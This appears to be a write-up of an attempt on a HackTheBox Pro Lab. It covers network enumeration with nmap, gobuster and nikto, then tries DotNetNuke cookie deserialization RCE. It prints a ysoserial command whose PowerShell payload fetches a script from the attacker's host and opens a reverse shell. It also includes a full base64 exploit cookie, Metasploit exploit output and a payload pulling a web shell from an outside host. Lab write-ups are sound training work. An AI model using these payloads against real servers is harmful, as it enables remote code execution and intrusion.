Datei wird geladen, bitte warten...
Zitiervorschau
Cybernetics Offshore
is my second
Pro Lab
from
HackTheBox
. Previously, I finished
. Here is the introduction to the lab.
Introduction 1
Welcome to Cybernetics!
2 3
Cybernetics LLC have enlisted the services of your firm to perform a red team assessment on their environment. Your objective is to establish a foothold, pivot through the internal environment, and acquire domain administrator privileges in all domains.
4 5
Cybernetics is an immersive Active Directory environment that has gone through various pentest engagements in the past. As a result, the environment features current operating systems, with the latest patches and system hardening configuration applied. Can you break through?
6 7
Participants will be exposed to the following:
8 9
Web application attacks
10
Active Directory enumeration and exploitation
11
Kerberos abuse
12
Phishing
13
Privilege escalation
14
Lateral movement
15
Evading endpoint protections
According to the Discord Channel, because
HackTheBox
don't document anything,
my starting subnet is the same as offshore.
Initial Foothold I have no clue what the starting point is, but I believe it is n the network.
Host Discovery
10.10.110.0/24
To begin with, I'll try all ports against the
1
/24
:
nmap -p0- -sCV 10.10.110.0/24 -oA nmap/10.10.110.0_24-tcp-65535 -v -Pn -n
Okay, well, kill that:
1
SYN Stealth Scan Timing: About 1.05% done; ETC: 18:06 (5:05:50 remaining)
Downgraded it to a
1
Top 100
with
-F
and sped it up with
-T4
:
nmap 10.10.110.0/24 -oA nmap/10.10.110.0_24-tcp-100 -vv -Pn -n -F -T4
This came back with some results:
1
Host: 10.10.110.10 () Ports: 80/open/tcp//http///, 443/closed/tcp//https/// Ignored State: filtered (98)
2
Host: 10.10.110.11 () Ports: 80/open/tcp//http///, 443/open/tcp//https/// Ignored State: filtered (98)
3
Host: 10.10.110.12 () Ports: 80/open/tcp//http///, 443/open/tcp//https/// Ignored State: filtered (98)
4
Host: 10.10.110.250 ()
Ports: 80/open/tcp//http/// Ignored State:
filtered (99)
This essentially boils down to these four hosts:
1
10.10.110.10
2
10.10.110.11
3
10.10.110.12
4
10.10.110.250
Now, I'll kick off a bigger scan with scripts on these hosts:
1
nmap -p0- -sCV -iL hosts/10.10.110.0_www.txt -oA nmap/10.10.110.0_www -v
This returns a lot. I'll go through each host one at a time.
10.110.10.10 Below is the
nmap
report for this host:
1
Nmap scan report for 10.10.110.10
2
Host is up (0.023s latency).
3
Not shown: 65533 filtered ports
4
PORT
STATE
5
80/tcp
open http
6
|_http-favicon: Unknown favicon MD5: 2DE6897008EB657D2EC770FE5B909439
7
| http-methods:
8
| Supported Methods: OPTIONS TRACE GET HEAD POST
9
|_
SERVICE VERSION Microsoft IIS httpd 10.0
Potentially risky methods: TRACE
10
| http-robots.txt: 30 disallowed entries (15 shown)
11
| /admin/ /App_Browsers/ /App_Code/ /App_Data/
12
| /App_GlobalResources/ /bin/ /Components/ /Config/ /contest/ /controls/
13
|_/DesktopModules/ /Documentation/ /HttpModules/ /images/ /Install/
14
|_http-title: Home
nmap
has found some directories within
1
robots.txt
:
curl -s http://10.10.110.10/robots.txt | grep llow|sort|sort -u|awk {'print $2'}
This will find quite a few things:
1
/Activity-Feed/userId/
2
/admin/
3
/App_Browsers/
4
/App_Code/
5
/App_Data/
6
/App_GlobalResources/
7
/bin/
8
/Components/
9
/Config/
10
/contest/
11
/controls/
12
/*/ctl/
13
/*/ctl/
14
/DesktopModules/
15
/Documentation/
16
/HttpModules/
17
/images/
18
/Install/
19
/js/
20
/Portals/
21
/Providers/
22
/Resources/ContentRotator/
23
/Resources/ControlPanel/
24
/Resources/Dashboard/
25
/Resources/FeedBrowser/
26
/Resources/OpenForceAd/
27
/Resources/Search/
28
/Resources/Shared/
29
/Resources/SkinWidgets/
30
/Resources/TabStrip/
31
/Resources/Widgets/
In addition to all of these, the Server leaks the Operating System:
1
Microsoft IIS httpd 10.0
Googling
IIS 10.0
:
“ IIS 10.0 version 1809 a.k.a. version 10.0.17763 is included in Windows Server 2019 and Windows 10 October Update released 2018-10-02. This version added flags for control of HTTP/2 and OCSP Stapling per site, a compression API and implementing module supporting both gzip and brotli schemes, and a UI for configuring HSTS .
Browsing to http://10.10.110.10/ will present:
Exploring the Directories Using this python script:
1
#!/usr/bin/env python3
2
import requests
3 4 5 6
def get_wordlist(): return ["/Activity-Feed/userId/", "/admin/",
7
"/App_Browsers/",
8
"/App_Code/",
9
"/App_Data/",
10
"/App_GlobalResources/",
11
"/bin/",
12
"/Components/",
13
"/Config/",
14
"/contest/",
15
"/controls/",
16
"/*/ctl/",
17
"/*/ctl/",
18
"/DesktopModules/",
19
"/Documentation/",
20
"/HttpModules/",
21
"/images/",
22
"/Install/",
23
"/js/",
24
"/Portals/",
25
"/Providers/",
26
"/Resources/ContentRotator/",
27
"/Resources/ControlPanel/",
28
"/Resources/Dashboard/",
29
"/Resources/FeedBrowser/",
30
"/Resources/OpenForceAd/",
31
"/Resources/Search/",
32
"/Resources/Shared/",
33
"/Resources/SkinWidgets/",
34
"/Resources/TabStrip/",
35
"/Resources/Widgets/"]
36 37
def request(path):
38
base_url = 'http://10.10.110.10'
39
url = base_url + path
40
try:
41
response = requests.get(url)
42
if response.status_code != 404:
43 44 45
print(f'[{response.status_code}]:\t{url}') except Exception as e: pass
46 47 48
for i in get_wordlist(): request(i)
Which will result in:
1
[200]:
http://10.10.110.10/admin/
2
[400]:
http://10.10.110.10/*/ctl/
3
[400]:
http://10.10.110.10/*/ctl/
4
[403]:
http://10.10.110.10/DesktopModules/
5
[403]:
http://10.10.110.10/Providers/
As well as all this, I'll throw
1
gobuster
at it:
gobuster dir -u http://10.10.110.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Nothing crazy popped out at me, and some of the files that were vulnerable to RCE , weren't there.
YSOSERIAL After some poking around, I found this blog which discusses an DNNPersonalization
RCE
parameter. The example request looks like this:
via
1
Host: www.vulnerable.host
2
Upgrade-Insecure-Requests: 1
3
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/69.0.3497.81 Chrome/69.0.3497.81 Safari/537.36
4
DNT: 1
5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,* /*;q=0.8
6
Accept-Encoding: gzip, deflate
7
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
8
Cookie: dnn_IsMobile=False;DNNPersonalization=
Deserialize /wEyxBEAAQAAAP////SSBmb3Jnb3QgdG8gc2F2ZSB0aGUgcGF5bG9hZ CB3aGVuIEkgd3JvdGUgdGhpcyBibG9nIHBvc3QgYW5kIHdhcyB0b28gYnVzeSB0byBzcGluIHVwIG EgbmV3IHdpbmRvd3MvZG5uIHZt=
;language=en-US; .ASPXANONYMOUS=AdJ_92Sn1AEkAAAAODU5YjVjZWMtOWMwYS00ZmE1LThkODgtNWI2OTA0NjZjZj cz0; DotNetNukeAnonymous=b8bcc886-3286-4c26-8a9a-b6d3a73c6376; __RequestVerificationToken=JXPAgO5sl6NtPasNgSv6SDSQgqLV8eAIlRa0ihpoSVyw_MSzjHXsgJhmQSV-mfU7IZOqjDfBzfhJ81upD024MEoJ2UKG_QjTSYW_tVkAzOad9tOaWjzfm2c1o1
9
Connection: close
And a payload is generated like this:
1
.\ysoserial.exe -p DotNetNuke -M run_command -C "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp Reverse -IPAddress 192.168.13.37 -Port 1337"
A new version is obtained from here: https://github.com/frohoff/ysoserial/archive/0. 0.5.zip
The flags from the blog are actually wrong, this is how it should be:
1
.\ysoserial.exe -p DotNetNuke -m run_command -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex (New-Object Net.WebClient).DownloadString('http://10.10.14.9/InvokePowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.9 -Port 1337"
This will create the payload:
1
Deserialize/wEyihMAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4 wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQB U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY 29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yj c3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN 5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3Ry aW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tle VRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3 RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5 nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRv a2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlc mlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAOUM6XFdpbmRvd3NcU3lzdGVtMzJcV2 luZG93c1Bvd2VyU2hlbGxcdjEuMFxwb3dlcnNoZWxsLmV4ZQYHAAAAmgFpZXggKE5ldy1PYmplY3Q gTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMC4xMC4xNC40L0ludm9rZS1Q b3dlclNoZWxsVGNwLnBzMScpO0ludm9rZS1Qb3dlclNoZWxsVGNwIC1SZXZlcnNlIC1JUEFkZHJlc 3MgMTAuMTAuMTQuNCAtUG9ydCAxMzM3BAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbk hvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcml hbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZv U2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphd GlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb2 5Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUF zc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lz dGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3Rlb S5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cm U9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmc sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9r ZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sI FZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1Nj E5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWw sIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQu MC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOA AAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS 5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx 5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJn dW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5Ea WFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAA A+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN 0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcG GQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzd
GVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACA AAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJ zaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0 ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=
Before attempting execution, the blog says:
“ Then we visit a 404 page on our test site to generate the needed cookie.
After doing this, and not seeing the required parameter, lets see if this works, here is the HTTP request:
1
GET / HTTP/1.1
2
Host: 10.10.110.10
3
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5
Accept-Language: en-US,en;q=0.5
6
Accept-Encoding: gzip, deflate
7
Referer: http://10.10.110.10/
8
Connection: close
9
Cookie: DNNPersonalization=
Deserialize/wEyihMAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC 4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAI QBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG 1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW 49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABg iNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW 0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1Ym xpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAA CNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW 0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1Ym xpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZW xlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAAOUM6XFdpbmRvd3NcU3 lzdGVtMzJcV2luZG93c1Bvd2VyU2hlbGxcdjEuMFxwb3dlcnNoZWxsLmV4ZQYHAAAAmgFpZXggKE 5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly8xMC4xMC4xNC 40L0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpO0ludm9rZS1Qb3dlclNoZWxsVGNwIC1SZXZlcn NlIC1JUEFkZHJlc3MgMTAuMTAuMTQuNCAtUG9ydCAxMzM3BAUAAAAiU3lzdGVtLkRlbGVnYXRlU2 VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS 5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdG lvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZX JJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2 F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YX JnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdG VFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZU VudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW 9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZT A4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bm V1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdG ljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdW JsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00Lj AuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg 0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG 9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAA AFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW 9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdH VyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAA AACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS 5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3 RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbX BhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdH
JpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cm luZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYD FbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dH JhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAA AACgs=
;dnn_IsMobile=False; language=en-US; USERNAME_CHANGED=; __RequestVerificationToken=SL6TSVc8dEA9xUHWXHcOkltYFSlF3uigspgyNXVUoyCnTEAzU 6iI4fI0JD69tB3ozH6G0w2 10
Upgrade-Insecure-Requests: 1
No response:
1
HTTP/1.1 200 OK
2
Cache-Control: no-cache
3
Pragma: no-cache
4
Content-Type: text/html; charset=utf-8
5
Expires: -1
6
Vary: Accept-Encoding
7
Set-Cookie: dnn_IsMobile=False; path=/; HttpOnly
8
Set-Cookie: language=en-US; path=/; HttpOnly
9
Set-Cookie: .ASPXANONYMOUS=oWhiF-cTVanQVreBh3W1XKu_MEcLSteEX_J8FkfavNpOdczN3swNOlnwjWjFTaK02cpA_DAtLw1uRSFZaxSip0cZ3zQlivi yG4qjwyEyMMblOPx0; expires=Sun, 21-Jun-2020 01:25:45 GMT; path=/; HttpOnly
10
X-Frame-Options: SAMEORIGIN
11
X-UA-Compatible: IE=edge
12
Set-Cookie: dnn_IsMobile=False; path=/; HttpOnly
13
Set-Cookie: language=en-US; path=/; HttpOnly
14
Set-Cookie: .ASPXANONYMOUS=oWhiF-cTVanQVreBh3W1XKu_MEcLSteEX_J8FkfavNpOdczN3swNOlnwjWjFTaK02cpA_DAtLw1uRSFZaxSip0cZ3zQlivi yG4qjwyEyMMblOPx0; expires=Sun, 21-Jun-2020 01:25:45 GMT; path=/; HttpOnly
15
Set-Cookie: __RequestVerificationToken=bu76Sug4pTmrmXuY8ptxwBYuM7FlwI5zLxlpU2Lo2lRa6z_ljp-Qow_7PDbogDw4gvtpg2; path=/; HttpOnly
16
Date: Sun, 12 Apr 2020 14:45:45 GMT
17
Connection: close
18
Content-Length: 23748
Moving on.
Registration The application allows you to register an account, but it requires verification:
Default logins I used the credentials in this post , and was unable to get access.
10.110.10.11 This url , responds with a default IIS landing page. But, it is worth checking for directories:
1
gobuster dir -u 10.10.110.11 -w /usr/share/wordlists/dirbuster/directorylist-2.3-medium.txt -o 10.10.110.11_gobuster.txt
This found nothing:
1
===============================================================
2
Gobuster v3.0.1
3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
4
===============================================================
5
[+] Url:
http://10.10.110.11
6
[+] Threads:
10
7
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3medium.txt
8
[+] Status codes: 200,204,301,302,307,401,403
9
[+] User Agent: gobuster/3.0.1
10
[+] Timeout:
10s
11
===============================================================
12
2020/04/12 15:55:30 Starting gobuster
13
===============================================================
14
===============================================================
15
2020/04/12 16:05:07 Finished
16
===============================================================
17
10.110.10.12 This host lands on a 404 . Using this command:
1
gobuster dir -u http://10.10.110.12 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o 10.10.110.12_gobuster.txt
I was unable to find anything:
1
===============================================================
2
Gobuster v3.0.1
3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
4
===============================================================
5
[+] Url:
http://10.10.110.12
6
[+] Threads:
10
7
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3medium.txt
8
[+] Status codes: 200,204,301,302,307,401,403
9
[+] User Agent: gobuster/3.0.1
10
[+] Timeout:
11
===============================================================
12
2020/04/12 16:18:57 Starting gobuster
13
===============================================================
14
===============================================================
15
2020/04/12 16:36:34 Finished
16
===============================================================
I believe that
10s
is the
10.110.10.250
point has to be
10.10.110.10
PFSense
box, thus, out of scope. So the entry
.
Revisiting 10.110.10.10 Running through
nikto
:
1
- Nikto v2.1.6
2
---------------------------------------------------------------------------
3
+ Target IP:
10.10.110.10
4
+ Target Hostname:
10.10.110.10
5
+ Target Port:
80
6
+ Start Time: 2020-04-12 16:43:22 (GMT1)
7
---------------------------------------------------------------------------
8
+ Server: No banner retrieved
9
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
10
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
11
+ Server banner has changed from '' to 'Microsoft-IIS/10.0' which may suggest a WAF, load balancer or proxy is in place
12
+ Uncommon header 'x-result-reason' found, with contents: Not Redirected
13
+ Uncommon header 'x-urlrewriter-404' found, with contents: 404 Rewritten to DNN Tab : 404 Error Page(Tabid:24) : Reason Requested_404
14
+ No CGI Directories found (use '-C all' to force check all possible dirs)
15
+ Uncommon header 'x-redirect-reason' found, with contents: Unfriendly Url 2 Requested
16
+ Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP code (301)
17
+ Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP code (301)
18
+ Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP code (301)
19
+ Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP code (301)
20
+ Entry '/admin/' in robots.txt returned a non-forbidden or redirect HTTP code (301)
21
+ "robots.txt" contains 133 entries which should be manually viewed.
22
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
23
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
24
+ OSVDB-3092: /login/: This might be interesting...
25
+ OSVDB-3092: /register/: This might be interesting...
26
+ /Portals/_default/Cache/ReadMe.txt: DotNetNuke default page found. Look for an admin interface on /tabid/19/, /tabid/36/ or enumerate numbers to identify logins/content.
27
+ 7997 requests: 0 error(s) and 16 item(s) reported on remote host
28
+ End Time: 2020-04-12 16:47:40 (GMT1) (258 seconds)
29
---------------------------------------------------------------------------
30
+ 1 host(s) tested
It finds some interesting stuff, mainly:
1
/Portals/_default/Cache/ReadMe.txt: DotNetNuke default page found. Look for an admin interface on /tabid/19/, /tabid/36/ or enumerate numbers to identify logins/content.
However, it doesn't contain anything:
1
This directory is used for file-based cache synchronization on a web farm. It is also used for serialized cache objects that are persisted to disk.
Deserialisation This module reveals how it identifies the version. It works by requesting this host: http://10.10.110.10/Documentation/License.txt And then uses the following years:
Ruby
to get the version by running an
if
over the
1
if year >= 2018
2
print_warning(
3
%q(DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
4
Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
5
Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values.")
6
)
7
datastore['TARGET'] = 3
8 9
elsif year == 2017 print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
10 11
datastore['TARGET'] = 2 elsif year < 2017 && year > 2008
12
print_good("DNN Version Found: v5.1.0 - v9.0.1")
13
datastore['TARGET'] = 1
14 15
elsif year == 2008 print_warning("DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).")
16 17 18
datastore['TARGET'] = 1 else print_warning("Could not determine DNN version. Target may still be vulnerable. Manually set the Target value")
19
end
20
end
Metasploit ENCRYPTED
lands on:
[!] DNN Version Found: v9.0.1 - v9.1.1 - May require
from the year
2017
, which can be seen in the file:
1
DotNetNuke - http://www.dotnetnuke.com
2
Copyright (c) 2002-2017
3
by DotNetNuke Corporation
4 5
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
6 7
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
8 9
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
I messed with a lot of stuff within the module ( windows/http/dnn_cookie_deserialization_rce ), here was the output of my last run:
1
[*] Trying to determine DNN Version...
2
[*] Checking version at /Documentation/License.txt ...
3
[!] DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED
4
[*] Checking for custom error page at: /_ ...
5
[+] Custom error page detected.
6
[*] Powershell command length: 2297
7
[*] Payload Object Created.
8
[*] Started reverse TCP handler on 10.10.14.9:80
9
[*] Sending Exploit Payload to: /_ ...
10
[*] Exploit completed, but no session was created.
I found this: https://gist.github.com/pwntester/72f76441901c91b25ee7922df5a8a9 e4 This has some example payloads, notably:
1
2
3
4
5
6
PullFile
7
8
http://ctf.pwntester.com/shell.aspx
9
